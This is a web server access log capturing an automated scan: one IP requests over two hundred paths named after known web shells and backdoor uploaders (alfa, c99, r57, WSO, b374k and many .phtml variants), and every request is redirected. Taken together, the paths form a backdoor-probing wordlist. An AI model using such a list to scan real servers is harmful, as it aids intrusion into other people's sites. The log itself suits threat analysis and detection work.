13.40.84.140 - - [23/Sep/2025:12:03:38 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:03:39 -0400] "GET /zcanp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:48 -0400] "GET /h0110w4y.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:52 -0400] "GET /55.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:54 -0400] "GET /vesiw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:58 -0400] "GET /class-wp-widget-archives.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:01 -0400] "GET /wp-db.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:09 -0400] "GET /Chitoge.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:06 -0400] "GET /0byt3m1n1.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:09 -0400] "GET /wp-admin/alfav41.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:20 -0400] "GET /wp-admin/zat2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:30 -0400] "GET /wp-admin/webr00tv3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:34 -0400] "GET /webr00tv3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:43 -0400] "GET /ALFA_DATA/alfacgiapi/shellgo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:47 -0400] "GET /deleteme.chajbbh2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:52 -0400] "GET /FoxSH-3izfw/fox.sh HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:01:58 -0400] "GET /ffAA531.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:01 -0400] "GET /wp-site.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:10 -0400] "GET /mst.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:12 -0400] "GET /indeeex.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:16 -0400] "GET /wp-content/zfox.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:16 -0400] "GET /tmp/plupload/vuln.phP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:19 -0400] "GET /pop.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:22 -0400] "GET /wp-plugins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:35 -0400] "GET /lok.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:38 -0400] "GET /inc.class.3index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:02:55 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:00 -0400] "GET /wp-content/a.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:00 -0400] "GET /ninja.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:11 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:17 -0400] "GET /wp-content/plugins/upspy/con.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:17 -0400] "GET /ext15.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:19 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:23 -0400] "GET /wp-content/uploads/small.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:26 -0400] "GET /wp-content/small.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:26 -0400] "GET /indosec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:33 -0400] "GET /po8sa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:36 -0400] "GET /thesmartestx.php HTTP/1.1" 301 795 "-" "-"
146.190.11.185 - - [23/Sep/2025:12:03:39 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
45.133.173.25 - - [23/Sep/2025:12:03:39 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:12:03:41 -0400] "GET /burjuva.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:43 -0400] "GET /pvt.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:46 -0400] "GET /cgi-bin/wp-2019.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:03:46 -0400] "GET /crypted.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:05 -0400] "GET /site_islemleri.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:18 -0400] "GET /0x1999%20Private%20Shell%20(0x%20Shell).php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:25 -0400] "GET /tl.phP HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:27 -0400] "GET /ccaef.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:31 -0400] "GET //wp-includes/lx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:33 -0400] "GET //wp-content/ice.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:40 -0400] "GET /useri.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:53 -0400] "GET /css.PHp HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:58 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:08 -0400] "GET /config.bak.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:12 -0400] "GET /176.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:22 -0400] "GET /ra%20due%20ayang.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:27 -0400] "GET /529.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:31 -0400] "GET /snowwins.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:34 -0400] "GET /uzgnsomdco.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:38 -0400] "GET /allahnaber.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:50 -0400] "GET /alfa3.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:54 -0400] "GET //ALFA_DATA/alfacgiapi/alfa.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:13 -0400] "GET //ALFA_DATA/alfacgiapi/r57.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:15 -0400] "GET //ALFA_DATA/alfacgiapi/uploader.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:26 -0400] "GET /cw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:33 -0400] "GET /ico.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:36 -0400] "GET /mass.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:39 -0400] "GET /pws.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:43 -0400] "GET /robots.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:45 -0400] "GET /shell.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:46 -0400] "GET /wp-content/masshp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:46 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:49 -0400] "GET /ww.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:54 -0400] "GET /11111.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:04 -0400] "GET /web.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:09 -0400] "GET /root.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:13 -0400] "GET /r00t.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:27 -0400] "GET /1.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:35 -0400] "GET /3.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:40 -0400] "GET /4.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:44 -0400] "GET /5.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:47 -0400] "GET /6.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:50 -0400] "GET /7.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:57 -0400] "GET /9.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:15 -0400] "GET /14.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:22 -0400] "GET /16.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:26 -0400] "GET /17.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:29 -0400] "GET /kontol.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:32 -0400] "GET /memek.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:35 -0400] "GET /peju.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:38 -0400] "GET /onion.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:43 -0400] "GET /malay.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:13 -0400] "GET /lollers.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:21 -0400] "GET /CyberNetic%20v2%20(BANGLADESH%20CYBER%20ARMY)%20Shell.%20php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:33 -0400] "GET //wp-content/lx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:33 -0400] "GET /lx.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:43 -0400] "GET /tonant.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:04:46 -0400] "GET /wp.plug.PHp HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:02 -0400] "GET /1s2c4.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:16 -0400] "GET /bypass403.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:18 -0400] "GET /zudjr.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:43 -0400] "GET /AK-74.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:05:57 -0400] "GET //ALFA_DATA/alfacgiapi/c99.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:00 -0400] "GET //ALFA_DATA/alfacgiapi/fw.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:03 -0400] "GET //ALFA_DATA/alfacgiapi/mini.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:09 -0400] "GET //ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:18 -0400] "GET //ALFA_DATA/alfacgiapi/ups.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:22 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:29 -0400] "GET /icomsium.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:46 -0400] "GET /wp-content/batm.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:46 -0400] "GET /wso2.8.5.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:51 -0400] "GET /mininew.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:06:58 -0400] "GET /shells.aspx HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:15 -0400] "GET /indoxploit.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:19 -0400] "GET /wp-config.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:23 -0400] "GET /wp.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:29 -0400] "GET /2.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:52 -0400] "GET /8.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:07:59 -0400] "GET /10.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:04 -0400] "GET /11.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:09 -0400] "GET /12.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:13 -0400] "GET /13.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:18 -0400] "GET /15.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:48 -0400] "GET /69.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:11 -0400] "GET /938383828272.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:18 -0400] "GET /y0y0.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:31 -0400] "GET /pacman.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:34 -0400] "GET /45.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:51 -0400] "GET /indonesia.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:56 -0400] "GET /wp-user.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:06 -0400] "GET /ez.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:10 -0400] "GET /info.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:20 -0400] "GET /-_-.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:27 -0400] "GET /babi.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:35 -0400] "GET /ies.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:50 -0400] "GET /hindi.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:54 -0400] "GET /indo.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:08:56 -0400] "GET /1945.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:02 -0400] "GET /Sym.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:06 -0400] "GET /lax.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:08 -0400] "GET /00.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:14 -0400] "GET /ngentod.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:23 -0400] "GET /galau.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:25 -0400] "GET /pc.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:38 -0400] "GET /09999888.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:42 -0400] "GET /crotz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:48 -0400] "GET /kagetguababi.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:09:53 -0400] "GET /terserah.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:00 -0400] "GET /robots.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:12 -0400] "GET /php.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:16 -0400] "GET /.-phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:22 -0400] "GET /r.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:30 -0400] "GET /data.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:37 -0400] "GET /m3m3k.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:42 -0400] "GET /anon.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:01 -0400] "GET /Uploader.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:05 -0400] "GET /up.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:21 -0400] "GET /cpanel.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:24 -0400] "GET /cpn.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:29 -0400] "GET /term.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:32 -0400] "GET /Sec-War.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:36 -0400] "GET /sql.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:50 -0400] "GET /WolF.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:54 -0400] "GET /madspot.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:57 -0400] "GET /Cgishell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:06 -0400] "GET /changeall.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:09 -0400] "GET /Sh3ll.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:14 -0400] "GET /dz0.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:17 -0400] "GET /dam.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:18 -0400] "GET /user.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:29 -0400] "GET /whmcs.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:39 -0400] "GET /berandal.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:42 -0400] "GET /alpashell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:46 -0400] "GET /alpa.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:52 -0400] "GET /cyber.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:54 -0400] "GET /cybershell.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:59 -0400] "GET /semen.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:03 -0400] "GET /gans.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:12 -0400] "GET /ghost.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:45 -0400] "GET /anonghost.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:48 -0400] "GET /anonymous.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:55 -0400] "GET /k2ll33d.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:10:57 -0400] "GET /k2ll.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:10 -0400] "GET /upload.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:14 -0400] "GET /WSO.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:16 -0400] "GET /dz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:19 -0400] "GET /DZ.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:26 -0400] "GET /sos.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:40 -0400] "GET /b374.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:43 -0400] "GET /ssl.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:11:46 -0400] "GET /mysql.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:01 -0400] "GET /killer.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:22 -0400] "GET /dom.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:26 -0400] "GET /mini.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:32 -0400] "GET /badcode.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:34 -0400] "GET /b374k.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:37 -0400] "GET /r57.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:48 -0400] "GET /alfa.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:12:56 -0400] "GET /sement.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:04 -0400] "GET /ganz.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:06 -0400] "GET /wa.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:10 -0400] "GET /network.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:16 -0400] "GET /hiddenuploader.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:31 -0400] "GET /tembem.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:34 -0400] "GET /miabi.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:38 -0400] "GET /mia.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:48 -0400] "GET /uploader.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:56 -0400] "GET /sex.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:59 -0400] "GET /seks.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:14 -0400] "GET /hgt.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:21 -0400] "GET /team.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:24 -0400] "GET /nub.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:27 -0400] "GET /linux.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:29 -0400] "GET /memekbau.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:41 -0400] "GET /shells.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:46 -0400] "GET /hidden.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:51 -0400] "GET /tikung.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:13:54 -0400] "GET /xxx.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:04 -0400] "GET /download.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:10 -0400] "GET /bokep.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:24 -0400] "GET /c.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:32 -0400] "GET /f.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:51 -0400] "GET /anoncyber.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:14:57 -0400] "GET /tools.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:00 -0400] "GET /tool.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:07 -0400] "GET /finder.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:18 -0400] "GET /hasben.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:26 -0400] "GET /exploiter.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:31 -0400] "GET /xploiter.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:36 -0400] "GET /online.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:46 -0400] "GET /123.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:49 -0400] "GET /door.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:15:56 -0400] "GET /maniac.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:00 -0400] "GET /savage.phtml HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:12:16:09 -0400] "GET /crot.phtml HTTP/1.1" 301 795 "-" "-"
